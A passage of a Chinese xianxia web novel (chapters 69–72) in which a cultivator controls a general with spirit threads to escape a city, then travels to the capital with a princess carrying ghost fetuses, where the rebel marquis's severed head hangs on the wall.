技术一筹,他便想着以耐力取胜,可一炷香的功夫,眼前人仍不见疲态,呼吸平稳,面色不改,他却已经生出了些冷汗。 邬盈侯三令五申不能轻易入府,魏将军以为他是爱妻心切,如今却猛然发现,整个府中都笼罩着一种说不清道不明的气氛。 人在这里呆久了,就像是以蘸了水的巾帕覆面,几乎要喘不过来气。 魏将军在又一次拉近距离后,并没有立刻像之前一样盲目挥砍,而是说:“技不如人,魏某认输。” 他肩颈肌肉放松,小山一样的脊背弯了下去,握着刀的手臂也垂了下去,似乎将要弃刀。 然而下一刻,他毫无征兆从低空挥刀,像云杳窈的下盘砍去。 “小心!”姜娆喊。 这回,魏将军的策略转变,他不再执着于云杳窈原本的位置,而是选择中途加速,朝着她最有可能的落脚点杀去。 即便不能一击毙命,也能叫她吃些苦头。 只要命中,但求命中。 眼见着刀锋已经至云杳窈身侧,他兴奋到双目睁大,鼻子与眉眼皱成一团,露出两排森森白牙。 咔嚓,刀砍中了,血液喷洒在他的身上、脸上。 而后就是因兴奋而导致面部急速充血,他的双耳充斥着持久而尖利的轰鸣。 奇怪的是,这些血并不是热的,而是带着冷气。不过魏将军已经没空注意这些异样,他忍不住大笑,想要笑姜娆和这女子的自不量力。 “哈——哈——哈——” 魏将军发出模糊笑音,那笑声如老旧的木门一样迟缓而笨重。 姜娆只看见威将军突然发难,中途却突然泄力。很快,他的头无力垂了下去,没了声息。 又过了一会儿,才猛然听见他这么笑。 还怪瘆人的。 “他、他这是怎么了?”姜娆问。 岑无望仍是注视着云杳窈,他的脸上不知何时带着淡淡笑意,如观棋般耐心平静。 他竖起食指,作噤声态:“嘘——” 数不清的鉴义穿过魏将军的七窍,散入四肢百骸,其中一根,牢牢捆住他的心脏。稍稍用力,就令他停止了空洞而诡异的笑。 云杳窈稍稍动动指尖,魏将军便如提线木偶,跟着鉴义的牵引方向而动。 魏将军僵直着身体,以一种拔地而起的姿势起身,而后经至走到惊魂未定的姜娆面前。 扑通一声,魏氏跪在姜娆面前,开始不断重复叩拜动作。 “小人有眼无珠,冒犯王姬,望王姬见谅。” 他说话不是很利索,有些搞笑。 姜娆看着逆光而立的云杳窈,她正笑眯眯回看过来,冲她眨眨眼:“给你报仇,怎么样,有没有开心点?” 这下姜娆可以肯定,魏氏如今的模样,都是云杳窈所作。 她本该对这种能够操纵活人的奇术异法感到害怕,可看着云杳窈,她怎么都害怕不起来,反而有种久违的畅快。 姜娆有点不好意思,觉得这样会有点小人得志的嫌疑。但她又不忍心让云杳窈失落,于是咳了下,小声回应她:“开心。” 云杳窈不知道自己还能坚持多久,她是第一次尝试用鉴义控制活人。 虽说魏将军是个凡人,自身没有灵力护体,可他毕竟是个头脑清醒、四肢俱全的大活人,所以云杳窈便想到以摄魂术让他短暂陷入幻觉,再以鉴义入体,控制他的行动。 云杳窈并非熟练工,还不能很好的控制手中人的一举一动。 长时间操纵必然会露出破绽,他们必须立即出城。 厅堂内没下人,云杳窈很自然地走到姜娆身侧,护着她:“走吧,我们回王都。” 他们一行人还是乘坐进入逐庆的马车,在魏将军的控制下出城。 闻佩鸣还被蒙在鼓里,他在军营呆了一夜,心里难免烦躁。 这种失控的情况他很不喜欢,暗线自杀,逐庆这个好不容易经营起来的情报点已经作废。 且观如今的态势,想要再往这里安插人手,恐怕难如登天。 事情发展到了这个地步,闻佩鸣已经有些沉不住气了。 他担心云杳窈遇险,又担心她寻了机会自己逃出逐庆。一旦云杳窈狠下心抛下他,那之前所作的努力全都功亏一篑。 但是最恐怖的是,比起让她悄无声息离开,闻佩鸣还是更希望前者不要发生。 他想要离开军营,又多次拦下。动手也不是,不动手也不是。 一切的根源都在于云杳窈的情况不明,他非常明白,这里是邬盈侯的军队,他曾是叛军,归降襄华不久,手握军权,实力不容小觑。以王姬如今的情况,恐怕很难将手伸到军中。他不能不管不顾地杀出去。 昧旦时分,天将明未明。眼看着城门就要开了,云杳窈还没有回来。 闻佩鸣望着天边孤月,将折扇缓缓打开,就在他下定决心撕掉扇子的那一刻,营帐外传来一串脚步声。 是那位魏将军,他面无表情,言简意赅:“跟上。” 人在屋檐下,不得不低头,闻佩鸣强忍心头的不适和厌恶,跟着他一起走。 没走几步,闻佩鸣就迫不及待发问:“不知我妹妹与她身边的丫鬟身在何处,我们还要赶路,能不能劳烦将军告知一二。” 魏将军并不回答,甚至没有正眼看他。 闻佩鸣还从未被这么对待过,他深吸一口气,强撑着脸上的笑。 “在下无意让将军为难,若将军能在此时施以援手,我日后定以千金酬谢。” 发现魏将军无动于衷,闻佩鸣握紧扇柄,继续加码:“万金,我愿立字据文书为证!” “若实在无法通融,我可以先赎一人,你先把那个小丫鬟放了,我不日就带着金银珠宝回来赎另一个。” 听到这里,魏将军停住脚步。 闻佩鸣以为他心动了,暗自松了口气。他庆幸这是个贪婪的人,若是真遇见刚正不阿的将领,恐怕千万金都不能打动。 钱能解决的问题,于闻佩鸣而言都不成问题。 只可惜,魏将军半晌都没动静,就这么呆立在原地,一字不发。 闻佩鸣这时候也感受除了不对劲,他凝眸细看,觉得这人周围的灵气运行似乎有些不同寻常。 还没等闻佩鸣看出个究竟,忽而听到掺杂了点戏谑的话。 “万金为酬,还只赎走丫鬟,你这个哥哥还真是阔气,谁要做你妹妹,那得是累世积压出的罪孽啊。” 岑无望掀开车帘,挖苦道。 闻佩鸣不欲与岑无望在此时争辩口舌是非:“她呢?” 云杳窈从岑无望身侧挤过来,半个身子都压在岑无望的腿上,她看起来有点疲惫,并没有入岑无望一般对他豪掷万金的做法有任何评价,她单手捂住岑无望的嘴,催促道:“别废话了。” 后者笑了笑,垂眸看着她发际的细小绒毛,猝不及防亲了亲她的掌心。 换来一巴掌后,岑无望不再嬉皮笑脸,敛容沉声对还在马车外的闻佩鸣说:“看什么,驾车去。” 第69章 几人在出了城后,一路超西北方向赶。 此刻也无暇顾及着姜娆行动不便,他们连夜赶路,岑无望与闻佩鸣轮流驾车,云杳窈和姜娆一直呆在车厢内。 只是马有疲乏倦怠的时候,前面的路程跑得很快,越靠近王都,速度就越慢。 连续一天一夜,云杳窈都不敢睡去,车内颠簸,她无法集中精力去打坐调息。 距离王都还有一段路,云杳窈没有放开对魏将军的控制,在见到姜烛前,她都不打算放松警惕。 可是离得越远,她对鉴义的控制就越艰难。 稍有不慎就会让百里外的魏将军作出或滑稽或诡异的动作,军营中早晚会有人起疑心。 另外,府中的侍婢众多,虽然忍冬早已找了借口,以治病为由,让她们不要靠近王姬居室。但府中邬盈侯的眼线众多,总有心思缜密的,能够察觉其中蹊跷。 这些都不是长久之计。 云杳窈所做的最坏的打算,就是有人将这些异常直接传信给邬盈侯,遭遇前后夹击,甚至引起乾阳宗弟子的注意。 所以,为求谨慎,她彻夜不眠,操纵魏将军将逐庆彻底封锁。 外人不能进,城内人不许出。 一天一夜没有休息,加之鉴义对云杳窈灵气的消耗,她整个人都处于一种极度紧绷的状态。 稍有风吹草动,就会令她胆战心惊。 当岑无望再次悄无声息掀开帘子时,她被斜阳虚影吓了一跳,差点拔出问心将他捅个对穿。 “你需要休息。”岑无望两指夹住剑身,缓缓将问心移开“别还没到襄华,就先把自己给熬坏了。” 这一路上,岑无望都把鬼气压制得很好,没有再出现骤然失控鬼化的情况。 他的指尖如打磨好的羊脂玉片,温润整洁。 云杳窈脸上尽显疲态,她将问心收归剑鞘,而后揉了揉鼻梁,干涩的眼眶已经看不清楚岑无望脸上神情,如此情状,她仍是逞强:“没事,继续赶路,不用担心我。” 岑无望挪到她身侧,被狭小空间挤到只能挨着车厢壁缘坐下。他鬓边一缕未收拢的墨发散在胸前,发梢扫过云杳窈的肩膀,泛起一阵痒。 他知道云杳窈倔强,所以没有冷嘲热讽,也没有虚情假意去夸赞她这一路多辛苦,只是将自己的一侧肩膀放低,然后静静等着她的身躯倾斜向自己。 云杳窈已经很困了,说完这些话没多久就靠在了岑无望的肩上,在毫无防备的情况下进入梦乡。 她不常做梦,偶尔会梦到前世在回雪峰的日子,梦见白雪皑皑中永不熄灭的千盏灯火,还有那会春宫门前静待喜事的绯红身影。 漫天的白雪盖不住新婚夜的心头一剑,雪和血,冷与热,每每总能让她从梦中惊醒。 自下了山后,云杳窈倒是不做梦了,并非不会做梦,实在是没有功夫去回想浅眠中究竟看到了什么场景。 她早就不怕少时视为梦魇的无边黑暗,更不怕自黑暗而生的鬼影。 这回,云杳窈没再梦见前世遗恨。她看见了破败的城墙,还有低空盘旋在空城中的凤鸟。 日暮西颓,烟尘缭绕。残兵老将,断壁残垣,其声哀哀,其心愁愁。 凤鸟想要落在守城的将领面前,却听见她幽幽叹息:“遭倾遇祸,不可救兮……” 她的身上并无半分伤痕,这场堪称浩劫的厮杀没有削减她身上的锐气,她的脊背仍旧挺直,握剑的手仍旧有力,甚至周身的灵气也堪称磅礴。 按理说,她 是胜利的一方,还保留着游刃有余的姿态,衣角连血渍都没有,若不是剑上已经被血气滋养出了一层红光,无人能看出她刚经历过怎样惊心动魄的厮杀。 这般强大到不可撼动的女子,云杳窈却在她的眼中看到了深深的、深深的疲倦。 她突然看向云杳窈,就好像是穿透了梦境,看到了云杳窈本人。 没有任何情感,她只是麻木的望向一个不知道能不能作出回应的人。 然后告诉她:“你该睁眼了。” 这一句话,直接点醒梦中人。 云杳窈从梦中惊醒已是大汗淋漓,她的汗浸湿了后背,整个人紧紧攥住手中原本握着的东西。 在摸到问心剑柄上熟悉的纹路后,她稍觉心安。 随后,云杳窈发觉这里已经不是马车内,而是一个陌生房间。她余光看向屋内唯一的光源,那是一盏昏黄的油灯,燃烧的灯芯即将熄灭。 灯枯油尽前,有一只微凉的手揽住她的腰。 云杳窈这才发觉,这张床榻的里侧还躺了一个人。 她没有推开岑无望,侧身将头埋在岑无望怀里,手紧紧攥住他后背上的衣物。 鉴义还在消耗着云杳窈的灵气,但在她昏睡过去的时间里,鉴义对魏将军的控制也越来越弱。 云杳窈本该立即提议动身上路,可是在这种静谧到只能听见彼此呼吸和心跳的夜里,云杳窈忽然就想再多停留一会儿。 在这方寸之地,他们汲取着彼此的体温,如同两只归巢倦鸟,在黑暗中互相依偎,静待天明。 “岑无望,我刚刚……” 话音未落,隔壁房间传来一声微弱的呻吟。 云杳窈耳尖一动,瞬间反应过来隔壁是姜娆。她翻身下床,几息之间破开隔壁房门,看到了歪在桌子边的姜娆。 她满头大汗,眼珠在薄薄的眼皮下不安转动,因为腹中的鬼胎过大,即便是侧睡,也经常被它们踢醒。 姜娆几乎无法正常休憩,只在困到不行时坐在椅子上浅眠一会儿。 现在的情况显然不是普通梦魇,姜娆腹内胎儿吸食不了母体精气,索性释放鬼气,想要以此吸引周围的鬼前来一探究竟。 那些萦绕在房间内的小鬼被闻佩鸣所设阵法拦在外面,明知此处有实力强悍的恶鬼与剑修坐镇,仍旧不肯离去,徘徊在阵外蠢蠢欲动。 它们想吃了这个鬼胎。 鬼胎狡诈,明知将鬼气放出去会引来觊觎,还是要犯险。 云杳窈知道,这是因为它们有把握反噬这些恶鬼。 一旦有鬼铤而走险,破开阵法进入房间,首先要做的就是剖开鬼胎所寄生的母体。 而鬼胎出世后,就能吞噬母体血肉完成反杀。 它们二者已然成型,看情况,不日便会生产。 若是云杳窈没有去逐庆,说不定这两个鬼胎还不会这么着急,岑无望封住鬼胎心窍,让它们嗅到了危机。 云杳窈神情肃穆,她分出灵气为姜娆护体,并伸出鉴义潜入她梦中,将她的噩梦驱散殆尽。 不能再为她织就一场美梦,至少能让她睡得安稳。 可噩梦能散,姜娆的痛苦却没有减少半分,让一个身怀有孕的女子跟着他们连日奔波,本就辛苦,姜娆却一个字都没提,一路上还总是担心自己耽误了他们的行程。 云杳窈伸出手,用指腹一寸寸将她的愁眉抚平。 即便能阻止尚在腹内的鬼胎作祟,但是观如今情况,姜娆即将生产,随时都有可能诞下这两个孽障。 留给他们的时间不多了。 云杳窈垂头看着姜娆,岑无望便也这么看着她。 半晌,云杳窈突然横抱起姜娆,对岑无望说:“我们现在就去王都。” 姜娆的身形看着笨重,但云杳窈抱着并不吃力,她一脚踹开房间门,边走边说。 “此时正值深夜,我们御剑而行,不会有人能看清楚。” 岑无望却伸开双臂,挡在她身前,想要接过姜娆:“杳窈,你怜惜弱小,所以愿对姜娆施以援手,我没有意见,可是也请你怜惜一下我的师妹,她已经很累了。” “更何况,我们都知道,这件事最好的处理方式是什么。”岑无望冷静道,“鬼胎绝非那么容易处理的东西,若是等他降世,不仅姜娆没命,还会令许多人卷入其中。邬盈侯能养出这种邪物,他本人绝非善类,我们不能再走下去了。时不待人,杳窈,放弃她吧。” 云杳窈的手紧了紧,她看向因鉴义而仍在沉睡中的姜娆,仿佛被钉在原地。 “我知道,如今稳妥的办法就是杀死姜娆。这一路走来,人烟渐少,鬼魂却渐多,邬盈侯应该是借用了鬼术。” “连逐庆都在不知不觉间被邬盈侯部下掌控,恐怕襄华境内多数的城池皆已遭难。” 云杳窈深吸一口气,再次抬眼看向岑无望时,她说:“刘桢衍手中字条设有秘术,看过即燃,她的遗言告诉我,要向仙门求助。” “她一个潜伏在襄华境内的照渊阁暗线,为什么不向照渊阁求助,要知道,她并非聂清光,身为阁中最得重用的那一批暗线,她根本不用担心阁中会拒绝援助。” “因为她是最先发觉,逐庆城内军士更替,恶鬼作乱的人。她的消息已经递不出去。” “我们出城时,是逐庆的守城将领亲自放路,除此之外,无人能够离开。只进不出,逐庆正在悄然变成一座死城。” 说到这里,云杳窈仍旧没有回头的意思,她只是倔强的望着岑无望。 “此事为人祸,我本可以坐视不管。可是若真杀了姜娆,也并不能阻止邬盈侯的野心。” 云杳窈停顿一瞬,提醒岑无望:“还记得我们王都夜游时,看到的那个踩影子游戏吗?这是南边传来的游戏,邬盈侯早就利用了恶鬼征战,只是无人在意。” “人间的不义之战诸多,却要由百姓承担恶果。” “被统治者野心所累的凡人众多,我曾是其中一个,叫我怎么忍心看着她……”云杳窈再次垂眸看向姜娆,“看着她们,再次成为俎上之肉。” 第70章 “那你要如何救她呢?”岑无望眸光闪动,语气带着祈求,“我可以代替你入王都,让我替你去。” 显然,这已经是他能做出的最大让步。 “我必须去王都。”云杳窈说,“止戈应该还在那里。” 她宽慰岑无望:“我没有傻到会以身犯险,我非圣人,危难前也想保全自身。只是你并不知晓,止戈与襄华太子有过约定,她此时定在王都。” 岑无望听见止戈的名字,脸色再度冷了下来,道:“止戈绝非善类,她纵有能力力挽狂澜,可是据我的了解,她宁可冷眼旁观,也不会愿意插手此事。” “一国兴衰,无数人的命途,她谨小慎微数千年,未必肯背负因果,即便是善缘,她也不愿沾染。” “她会的。”云杳窈抿了抿唇,“我有她无法拒绝的理由。” “什么理由?”岑无望疑惑。 灵族覆灭千年,止戈并非一直都是灵族的止戈,岑无望实在想不通,除了复活千年前的灵族子民,还有什么能够打动她。 “我会告诉她灵果的下落。”云杳窈垂眸,与岑无望错开视线。 岑无望盯着云杳窈看了许久,他的手在袖中微微颤抖,明明是能言善辩之人,却 在此刻失了声。 好半天,他喉结滚了滚,这才软了态度:“好吧,那我陪你一起去。” 多一个人帮衬,总归不是坏事。 云杳窈这才把姜娆交由岑无望手中,自己则以影传信,将自己即将抵达望都的消息告诉止戈。 这是云杳窈此前不曾使用过的灵族秘术,从灵族梦境中苏醒后,她便无师自通了这种传信方式。 鉴义是灵族遗民与灵君的羁绊。她的影中仍有无数鉴义,这些可以传信的鉴义多数都会灰败无光,牵连着那些曾助她逃离遗境的灵族**早已化为枯骨与黄土,她曾见到的都是执念与残魂所化成的虚影,根本没有实体。 而这些灰色鉴义牵连着的灵族里,尚且能在阳光下行走的只有止戈。 云杳窈闭目凝神,好像又重新回到了那个梦境中去。 在无数灰色的鉴义里,由一根红线尤其醒目,云杳窈牵动它,拨弄两三下。 鉴义颤颤巍巍将云杳窈的问好传递了过去。 不出所料,止戈果然没有回应她。 云杳窈不放弃,这次她又将襄华内乱的大致猜想以及姜娆腹中鬼胎这件事告诉了止戈,止戈仍旧没有回答。 第三次,云杳窈硬着头皮告诉她:我有灵果的下落,若你能救救姜娆,和我一起阻止邬盈侯,我就告诉你灵果在哪里。 这次,云杳窈又等待了许久,等到她都开始怀疑止戈究竟能不能收到她的传信,鉴义才发出微微震动。 止戈传音:“你最好不是在撒谎。” 云杳窈睁眼,看见自己的影中慢慢浮现出另一个人的身影。 乌发红唇,眉眼冷艳绮丽,一双凤眼像是蓄势待发的锋利匕首。 她站定身体,借着客栈外微弱的灯笼亮光,还有今夜不算明亮的月辉,云杳窈发觉止戈的脚下并没有影子。 那就不是止戈本人,而是被云杳窈千里传唤过来的影子分身。 不过止戈似乎能够操纵影,她一张口,云杳窈便知道她确实是止戈本人的脾性。 止戈斜睨了岑无望一眼,面无表情和他打招呼:“你竟然还没死。” 岑无望微笑,他头顶着朦胧圆月,整个人的身上像是笼罩了一层柔光,他温和回应道:“万鬼窟一遭,我已存了死志,奈何外子牵挂,深情难负,我也只好拖着这副残躯苟且偷生。” 止戈皱眉。露出一脸嫌恶,连本体都生出一层鸡皮疙瘩,她抱胸而立,身体微微往后倾,上下扫了一遍岑无望。 太可惜了,可能是分身的感知能力终究不如本体,她并没有看出岑无望在容貌和灵力方面有任何长进。 止戈简单直白评价道:“显得你了,在这儿恶心谁呢?” 如此直白的嘲讽,就连脸皮功力深厚的岑无望都有些难以招架,不过他也是个嘴上不饶人:“不愧是侍官大人,王都到这里不过百里,何须用上影?你不是向来讨厌用我们灵族的本事,怎么几千年下来,还是无法彻底割席?” “谁告诉我在襄华王都?”止戈反问,“我至今仍在嵘烬山修养,你以为谁都和你一样,走了邪门歪道。” 世间灵气最充沛的地方就是嵘烬山内部,她没有必要离开修炼宝地,跑到灵气稀薄的襄华王都。 云杳窈适时插话,同时也是为了将两人的争吵打断。 “等等,你不是答应了姜烛,要一起去淇水游玩吗?” 止戈咳了一声,偏头掩饰自己眸中的不自在。 “我不想去了不行吗?”止戈不耐烦道。 “是吗?”岑无望问她,“是不想去,还是不敢去。” 止戈强调道:“我有什么不敢的。我如今好歹也是下饭历劫的神女,岑无望,你不会不知道我的神职是什么吧?” “我不感兴趣。”岑无望垂眸浅笑:“侍官大人,不,前侍官大人和我不一样了,你在玄天九霄之上的神殿里想起自己还是一身灵族骨血,会不会气的割肉放血以证清白啊。” 既然提起旧时痛处,止戈便不再客气,她冷笑一声:“比不得小君,为臣不忠,为君无能。说到底,你和邬盈侯也算是一类人,千年前不肯勤王,现在倒要替别人救起江山了,是你的君主吗你就救……” 止戈越说越激动,抄起手里的剑,连剑鞘都没拔,就往岑无望身上抡。 公仇私仇一起报,止戈已经忘记了使用什么精妙的招式,全凭多年积怨带动她挥舞手中剑。 岑无望左侧身再又侧身,一瞬间仿佛回到了千年前的朝堂上,无论文臣武将,谈论到最激动的时候只剩原始的本能。 灵族的侍官多是文臣,但能够随侍灵君左右的侍官,基本都是文武全才。 止戈少时入宫侍奉,是末代灵君身边最年轻的侍官,灵君甚为宠信,常亲自指点教导。 如果不是灵族阖族倾覆,她很有可能成为下一任灵君的启蒙老师。 岑无望发动鬼气,挡住无法回避的一剑。 “很多年前我就想问了,灵族内乱的百年里,你这位最受灵君器重的侍官却没有在她身边,而是跑到了神殿做了什么止戈神女,你连你的本名都不记得了吧。” 止戈眼都不眨:“那又如何,从我奉命任职的第一日起,我姓什么就不重要了。岑小君倒是记得自己的姓氏,记到连自己的本分都忘了。” 云杳窈只能将姜娆放下,她伸出鉴义,将止戈的影往后拉,同时钻入两人间的空隙,隔开两人。 “你让开,我今天一定要把他的嘴缝上。”止戈说着,又要举剑往前,这架势不像是要把岑无望的嘴缝上,更像是要直接把他的嘴割下来。 岑无望则突然捂着心口,身体摇摇欲坠,似乎即将倒下。 云杳窈知道他这会儿是在装病,于是上面一步,拉开距离,抱住了止戈:“算了,算了,好歹是一起共事过的同僚,都不容易。” 岑无望的头落了空,他悻悻站直了身体,听见云杳窈说:“止戈多次相助,你即便与她有什么恩怨,也不能这么堂而皇之的揭人伤疤。当年灵族内乱下,各人有各人的境遇,你有难处,她亦有苦衷,各退一步,如果你们真觉得今日必须置对方于死地,那就动手吧,往后就算是打到天翻地覆,我也不管了。” 说完,云杳窈便不再阻拦,将中间的位置重新让出来,大有纵容他们争斗的意思。 刚才还互不相让的两人,互相对视了一眼,动作都僵持着,一时间气氛从热到冷,不知道是不是云杳窈的错觉,她竟然同时在他们的眼中看到了尴尬。 这两人在看到云杳窈真的撒手不管后,竟然默契的停战暂休。 止戈走到姜娆身前,单膝触地。她先是观察了姜娆的状态,目光严肃,语气坚定:“这么阴损的招数,不像是人能做到的。” 她回头看云杳窈,问:“她曾被鬼掳走吗?” 云杳窈还未见过邬盈侯,只能委婉道:“如果邬盈侯是鬼,那姜娆可能也算被鬼掳走过。” 止戈否认道:“不大可能啊,我见过邬盈侯,说他是草莽出身的凡人,最大的能耐也就是做过叛军,若真有遣使鬼怪的功力,早在受降封侯的时候,我就该看出来的。” 云杳窈摇摇头:“这我也想不通,如果我的推测没错,此次祸起襄华南部,邬盈侯若不是主谋,必定是有谁在推波助澜。” 夜风都归于平静,淡月微云,止戈原就锋利的眉目轮廓在光与影的交织下显得更加深邃,她沉声道:“襄华王朝的气数未尽,邬盈侯也并非紫薇降世,若他真的能改朝换代,背后必有蹊跷。” 止戈抱起姜娆,果断道:“我有办法救她,不过必须要借王都的神女像一用。” 云杳窈听到姜娆还有活下去的希望,眼睛都跟着亮了亮,她高兴道:“太好了。” 不过她并非襄华子民,也只是在数月前遥遥见过一次神女像游街,所以她又道:“只是不知道,这神女像如今在何处,兴许姜娆知道,不如我们问问她。” 止戈道:“不必问她,我所说的神女 像并非新塑的金身神女像。而是受过数百年供奉木雕神女像。如果我记得没错,她应该在王宫内庭,朝晖殿后崇仙阁的地下。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 “现在王都的情况尚不明晰,若此次邬盈侯反叛确有恶鬼相助,那他所经之城可能都会如逐庆那般,被悄无声息接管。我们毫无准备就进入王都,恐遭邬盈侯埋伏。” 云杳窈犹豫了一会儿,从乾坤袋里翻找出当初姜氏兄妹当初赠予她的令牌。 见此令如亲见姜氏皇族。 云杳窈握紧令牌,对止戈说:“为了避免打草惊蛇,不如你与姜娆先不要急着动身,等我和岑无望先去王宫探探路,如遇险情急事,你就带着姜娆先行离开,之后我们再想办法会合。” 她们一个是襄华王姬,一个曾是太子幕僚,如果出现在王都,定然会被有心之人看到。 止戈也明白这个道理,所以她点头应下:“你们放心去吧,我会保护好姜娆。” 云杳窈与岑无望正要离去,却听见有人推开门,才探出半个身子,还未站稳便着急叫住已经翻身上马的云杳窈。 “师姐要去哪里?” 止戈的剑很快,快到没人看清她起势拔剑,剑尖就已经停在了闻佩鸣的鼻尖。 在看清了他的脸后,止戈挑眉道:“哪里的小鬼?” 观眼前女子并未有敌意,反倒是露出了点好奇和惊讶,闻佩鸣用扇子抵在剑尖上,自己则站定,整理衣襟前的褶皱,轻轻颔首回他:“行不更名坐不改姓,在下闻佩鸣,照渊阁少阁主是也。” 未待止戈说话,他便噙着浅笑问候道:“这位难不成就是止戈大人?” 止戈收剑归鞘,听到她并未接他的话。 闻佩鸣倒也不尴尬,几步走到云杳窈身侧,微微俯身,埋怨似的问她:“我夜里睡得沉了些,师姐要出门,怎么都不喊我一声,叫我在客栈内好找。” 话是这么说,可语气和姿态都很亲昵,生怕别人看不出来他与云杳窈同行似的。 夜里微光稀薄,这会儿云遮月隐,仅凭两盏门前的灯笼,很难将一切都看个明晰清楚。止戈凝神看向不远处的三个人,目光却总是不由自主望向这个新面孔。 说是新面孔,可她总觉得有些不舒服,觉得这种长相多数表里不一,不过是相貌清隽温润,指不定是个金玉其外败絮其中的,所以连带着对闻佩鸣没了好印象。 闻佩鸣不知止戈心中所想,他站在马匹的一侧,抬眼看向云杳窈,因为是背对着微黄灯光,他的五官很模糊,仿佛所有精明和算计都一并被隐藏在黑暗里。 似乎是因为忙着追出来,闻佩鸣就这么衣衫不整走了出来,长而柔顺的墨发散落肩头,就这么仰视着云杳窈,向来算无遗策的照渊阁少主神情中难得带着点委屈。 方才情急之下,云杳窈确实没想起来闻佩鸣还在这里。 上马之际,她虽然已经想起了还有位同行者,可也顾不得那么多,心里想着干脆将他留在这里好了,最好是让他知难而退,自己离开襄华回到南荒,继续去做那个逍遥富贵的照渊阁少主去。 谁知他偏偏在这个节骨眼追了过来。 云杳窈作惊讶状:“呀!” 她俯身,满脸愧色:“抱歉,这一路奔波劳累,实在是委屈少阁主了。我知少阁身娇肉贵,恐怕这辈子都没吃过这种苦,所以便想着让你多休息会儿。” 说着,她将闻佩鸣悄悄揪住自己衣摆的手不动声色移开,自责道:“怪我一时疏漏,少阁主不会放在心上吧。” 哪知闻佩鸣脸色微变,顺着她的话说了下去:“我自小在南荒长大,甚少踏足北境,确实是个没见识的,叫师姐担忧了。” 原本还站在原地的岑无望眼珠微动,余光看见闻佩鸣这番不加掩饰的乞怜。除了觉得好笑外,还生出了些愤怒。 这些日子的相处下来,岑无望自以为他该对闻佩鸣习以为常,没想到这人的招数远比他想的更多,且总用在些难以预料的地方。 不痛不痒,却足够烦人。 岑无望直白道:“看来你也不算完全没有优点,至少有点自知之明。” 不过当务之急并不是和闻佩鸣拌嘴,虽然这人很烦人,但他并不想将这个暂时可控的变数留给止戈。 这两个人分开对付就足够糟心了,如果再臭味相投,一拍即合,想想都头疼。 于是岑无望长吸一口气,缓和道:“不过年轻人嘛,多历练历练就好了。” 他看着心烦,移过视线,却还不忘催促闻佩鸣:“刚刚你师姐跟你开玩笑呢,你一个长了腿的大活人,难不成我们还能故意丢下你不成。” 闻佩鸣不知道岑无望为何突然对他这般和善,总觉得他不安好心。 不过他向来看不惯岑无望顺心,偏要唱反调。 “可是为何只牵了两匹马?”闻佩鸣再次看向云杳窈,“师姐……” 云杳窈也不知道岑无望这会儿在想什么,她还没编出点安抚闻佩鸣的话,忽然感觉身后一重。 身下白马原地踱步几下,鼻息喷洒热气,似乎有点不满。 岑无望已跨坐在云杳窈身后,将她环在怀里,双手握住缰绳,若无其事将云杳窈的手完全包裹。 “当然是因为,师姐要和师姐夫共乘,统共就这么两匹好马,师弟再多几句废话,我们可能就没办法在天明之前赶到王都了。” 岑无望这些话虽然是说给闻佩鸣的,可因为这分外贴近的姿势,反倒像是附在云杳窈耳边,专程同她讲话一般。 气息微凉,齿间送出的风扫过耳廓,云杳窈想拨弄那缕被带动的头发,然而手已经被紧紧攥住。 岑无望感受到她的动作,心领神会,将那缕几乎要飘落额前的碎发拢到而后。 熟稔到好像已经在平日里做过千百次这样的动作。 “什么师姐夫,一派胡言,信口雌黄。” 听到这个称谓,止戈的反应要比闻佩鸣更激烈。 闻佩鸣面有菜色,迟迟未动身。 一下子将两个人气到的岑无望丝毫没有愧疚,心底还回味了一下刚才说话时的情形。 他心底暗叹没发挥好,并不理会气得嘴唇发颤的止戈,还有咫尺之遥的闻佩鸣,两腿夹了马腹,朗声驭马:“驾——” 闻佩鸣及时闪身,还是被瞬间飞扬的尘土溅了满身的尘灰。 顾不得再管其他人,闻佩鸣上马紧随前人。待跑远后才想起,方才见到的女子可是阁内一直想要搜寻到行踪的止戈。 他忍不住回头看了一眼。 兴许是离得太远,止戈的身形逐渐变小。 奇怪的是,她好像没有影子。 闻佩鸣没有多想,前方正要途径树林,他继续回神向前看。 几人连夜赶路,在抵达王都的那一刻后,就连灵气都没办法再强吊住马的精神。驮负两个人的白马首先慢了下来,以跪地姿势半抗议半求饶终止了此次奔跑。 而闻佩鸣所骑的红棕色马匹也没有好到哪里去,在赶上两人后,见到同伴的姿态,瞬间有样学样,跪地不走。 幸好这里距离城门并不算远,几人索性将马拴在原地,步行前往。 可能是近来不太平,也可能是他们来的太早了,城门口的百姓寥寥无几。 守城的士卒在看到云杳窈的令牌后,连姓名和通行证都没看,诚惶诚恐放行。 云杳窈一行人进了城后,发现城墙下围了不少百姓,他们都仰着头,对着城门指指点点,议论纷纷。 见此情形,云杳窈等人顺着众人的视线看过去。 一颗孤零零的人头挂在城墙上,死不瞑目。 云杳窈向周围的人打听,她向一位看起来义愤填膺的老头询问道:“老伯,这上面的是谁啊?” 老头打量他们的面相和装扮,看几人气度不凡,可风尘仆仆,略带疲色,且口音与王都百姓略有差异,一听就不是本地人。 他意味深长的笑了笑,说不准这笑到底是什么意思。 “外乡人吧,从哪来的?” 云杳窈半真半假道:“老伯好眼力,我们打西边来的。” 老头得意洋洋,下巴高高扬起,单手捋着半白的稀疏胡须,道:“老朽在王都见过不少外臣使者,你们打哪来 的,一张嘴我就能判断个八九不离十。我刚刚也在心底猜你们是不是西边过来的,果然……” 眼看着他越说越远,云杳窈连忙笑着打断:“您好耳力。” “这城墙上的是谁,怎么挂在这里?这死状,怪瘆人的。” 老头呸了一口,神情愤慨:“他活该!这种叛军头子就该这么被挂着,以儆效尤。害了多少人无家可归,两次叛乱,南边死了不知道多少人,这么死都算便宜他了,要我说,就算是把他片成片都不为过,都不解气啊。” 云杳窈这回是真有些惊讶了。 “这是邬盈侯?” “还能有谁?”老头说,“咱们太子殿下亲手斩下他的头颅,所有王都子民都知道殿下的功绩。” “悬首于阙下,抉目于城门。” “一是震慑所有心怀不臣之心的贼人,二来是因他所犯罪孽深重,辜负了此前君主对他的信任,鼠目寸光,野心勃勃却见识短浅,剜目以谢罪。” 老头越说越激动:“早知如此,当初太子殿下要是能早日察觉出他的野心,直接在之前就把他诛杀了,也能免了人间这么多罪孽。” 他说到这里,忽然长叹一口气,感慨道:“可若真是那样,那就不是太子殿下了。殿下宅心仁厚,为避免战火殃及更多人,才决定了招安。” “只是可惜了那位为国下嫁,安抚一方民心的王姬,她尚且年轻,白白叫这么一个人耽误了大好年华。” 话音落,引得周围众人一片唏嘘。 第72章 